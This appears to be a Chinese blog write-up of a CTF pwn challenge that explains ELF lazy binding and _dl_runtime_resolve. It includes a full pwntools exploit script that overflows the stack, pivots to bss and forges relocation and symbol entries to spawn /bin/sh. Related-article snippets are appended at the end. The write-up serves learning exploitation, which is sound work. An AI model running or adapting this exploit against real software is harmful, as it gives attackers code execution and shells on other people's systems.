国赛baby_pwn
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
0x01 ELF文件的动态链接之延迟绑定
在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。
0x02 延迟绑定的实现过程
以国赛baby_pwn为例

程序第一次执行read函数,会进入plt表。

之后会跳转至ds:[0x804a00c]处的地址。将参数0和ds:[0x804a004](link_map的指针)处的地址压入栈中,之后执行dl_runtime_resolve函数
dl_runtime_resolve函数
1.访问linkmap的指针访问.dynmaic,取出.dynstr,.dynsym,.rel.plt的指针
2. .rel.plt+第二个参数求出当前重定位表项Elf32_rel的指针。该结构体如下,大小为8个字节
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
} Elf32_Rel;
查看一下本题目的read函数的Elf32_rel结构体

3.将Elf32_rel结构体中r_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
该结构体如下,长度为0x10
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
由于上方107>>8=1且结构体长度为0x10

这里我们可以得知st_name的值为0x20
4…dynstr + sym->st_name得出符号名字符串指针,偏移为0x20正好为read函数的字符串

5.在动态链接库查找这个函数的地址,并且把地址赋值给GOT表
6.调用这个函数
0x03利用方式
1.改写.dynamic的DT_STRTAB
若.dynmaic可写,即可改写.dynmaic中.dynstr的指针,将.dynstr的指针改动至可以操纵的内存空间,便可以执行我们想要的函数。
2.操纵第二个参数,实现伪造的效果
根据重定位的第二步.rel.plt + 第二个参数,若第二个参数值很大,那么就可以跳转至我们可以操纵的一块内存空间。便可以伪造Elf32_rel结构体中r_info,r_info伪造时要注意为0xXXXXXX07,其中0xXXXXXX为.dynsym的下标,也可以利用类似的方法进行越界至可操纵内存伪造Elf32_sym,最后伪造st_name使得.dynstr越界并且伪造字符串
baby_pwn
拿到程序,看到栈溢出漏洞
return read(0, &buf, 0x100u);
接着便是构造溢出之后的ROP链
由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术
首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。

于是考虑一下思路2。首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。
之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数
EXP如下
#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p=process('./nationalpwn')
#p=remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com",56833)
elf=ELF('./nationalpwn')
base_stage=0x0804a040+0x800 #objdump -h pwn|grep bss
read_plt=0x08048390 #objdump -d pwn |grep plt
gadget1=0x0804852a #ROPgadget --binary pwn |grep leave # leave |ret
payload='A'*0x28+p32(base_stage) #EBP->bss_stage
payload+=p32(elf.symbols['read'])+p32(gadget1)+p32(0)+p32(base_stage)+p32(100)
#raw_input()
p.sendline(payload)
#fake struct
dynsym=0x080481dc#objdump -h pwn
dynstr=0x0804827c
alarm_got=0x0804a010
fake_sym_addr=base_stage+44
index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=index_dynsym<<8|0x7
fake_reloc=p32(alarm_got)+p32(r_info)# rel alarm->system 07
st_name=fake_sym_addr+0x10-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
plt0=0x08048380 #.plt
rel_plt=0x0804833c#rel位置
cmd='/bin/sh'
index_offset=base_stage-rel_plt+28
payload2='B'*4 #base_stage
payload2+=p32(plt0)#强制重定位,esp+4 base_stage+4
payload2+=p32(index_offset) # push reloc_arg base_stage+8
payload2+='AAAA'#返回地址 bse_stage+12
payload2+=p32(base_stage+80)#函数参数base_stage+16
payload2+='A'*8#base+stage+20
#fake_struct
payload2+=fake_reloc #base_stage+28
payload2+='B'*8#base_stage+36
payload2+=fake_sym #base_stage+44
payload2+="system\x00\x00"#base_stage+60
payload2+='A'*12#base_stage+68
payload2+=cmd+'\x00'
#gdb.attach(p)
p.send(payload2)
p.interactive()
国赛baby_pwn的更多相关文章
- 湘潭邀请赛+蓝桥国赛总结暨ACM退役总结
湘潭邀请赛已经过去三个星期,蓝桥也在上个星期结束,今天也是时候写一下总结了,这应该也是我的退役总结了~ --------------------------------湘潭邀请赛----------- ...
- 2018年数学建模国赛B题 智能RGV的动态调度策略
第一种情况大致思路: 每秒判断各个CNC的状态,若工作完成或者是出于空闲状态下则向RGV发出一个请求.同时,RGV每秒判断自己的状态(上下料.移动.闲置.清洗等),如果是处于闲置状态,则启用调度算法, ...
- 2018年第九届蓝桥杯国赛总结(JavaB组)
懒更,之前的删了补一个国赛总结 记yzm10的第一次国赛(赛点:首都经贸大学) 第一次就拿到了国一,运气不要太好~(同组lz学长豪取国特orz) 从省赛一路水过来,总算有了点成绩.其实最后一题有些遗憾 ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- 第九届蓝桥杯国赛+第二天的第11届acm省赛的总结
第九届蓝桥杯国赛+第二天的第11届acm省赛的总结 25号坐的去北京的火车,10个小时的火车,然后挤了快两个小时的地铁,最终达到了中国矿业大学旁边的订的房间.12个小时很难受,晕车症状有点严重,吃了快 ...
- 2019第十届蓝桥杯省赛及国赛个人总结(java-B组)
省赛: 今年省赛的题目比18年简单的多,基本都是暴力枚举.BFS之类.还记得去年在山师考蓝桥杯,我这种辣鸡连题目都没看懂.本以为蓝桥会变得越来越难,没想到今年就被打脸了.今年省赛后面三个编程大题一个没 ...
- Python小白的数学建模课-A1.国赛赛题类型分析
分析赛题类型,才能有的放矢. 评论区留下邮箱地址,送你国奖论文分析 『Python小白的数学建模课 @ Youcans』 带你从数模小白成为国赛达人. 1. 数模竞赛国赛 A题类型分析 年份 题目 要 ...
- 【备考06组01号】第四届蓝桥杯JAVA组A组国赛题解
1.填算式 (1)题目描述 请看下面的算式: (ABCD - EFGH) * XY = 900 每个字母代表一个0~9的数字,不同字母代表不同数字,首位不能为0. 比如 ...
- 2018数学建模国赛总结(A题/编程选手视角)
2018数学建模已经告一段落了,先说说基本情况吧,我们队伍专业分别为:金融(A),会计(B),计算机(我),配置还算可以,他们俩会数据分析软件也会写论文,我可以写代码,画图.他们俩打过美赛(M奖),我 ...
随机推荐
- vs 远程调试
程序在vs安装目录: D:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\Remote Debugge ...
- Tarjan求有向图强连通分量 BY:优少
Tarjan算法:一种由Robert Tarjan提出的求解有向图强连通分量的线性时间的算法. 定义给出之后,让我们进入算法的学习... [情境引入] [HAOI2006受欢迎的牛] 题目描述: 每头 ...
- libevent源码分析二--timeout事件响应
libevent不仅支持io事件,同时还支持timeout事件与signal事件,这篇文件将分析libevent是如何组织timeout事件以及如何响应timeout事件. 1. min_heap ...
- maven系列:archetype项目模板_create-from-project
主要介绍create-from-project插件在命令行下的使用. [第一步:生成模板项目] 新建一个maven项目,比如叫 :groupId=com.abc.demo,artifactId=com ...
- sqlserver通过递归查找所有下级或上级部门和用户的操作实例
--查找当前用户所在部门的所有下级包括当前部门 with cte as ( as lvl from Department union all from cte c inner join Departm ...
- (六)pdf的构成之文件体(pages对象)
页面树(pages) 通过页面树访问文档的页面,页面树定义PDF文档中的所有页面.树包含表示PDF文档页面的节点,可以是两种类型:中间节点和叶节点.中间节点也称为页面树节点,而叶节点称为页面对象.最简 ...
- CentOS7 安装 Docker、最佳Docker学习文档
目录 一.Docker支持 二.安装Docker -1.在新主机上首次安装Docker CE之前,需要设置Docker存储库.之后,就可以从存储库安装和更新Docker. 0.卸载旧版 1.正式安装 ...
- Spring-Cloud之Config配置中心-7
一.我们前面基本上都是讲解的Spring Cloud Netflix的组件,下面我们会重点说Spring Cloud Config分布式配置中心.为什么需要这个组件来管理配置呢?在分布式应用开发过程中 ...
- prometheus2.0 联邦的配置
参考:https://blog.51cto.com/lee90/2062252 官网对于联邦的介绍:https://prometheus.io/docs/prometheus/latest/feder ...
- SOFT-NMS (二) (non maximum suppression,非极大值抑制)
import numpy as np boxes = np.array([[200, 200, 400, 400], [220, 220, 420, 420], [200, 240, 400, 440 ...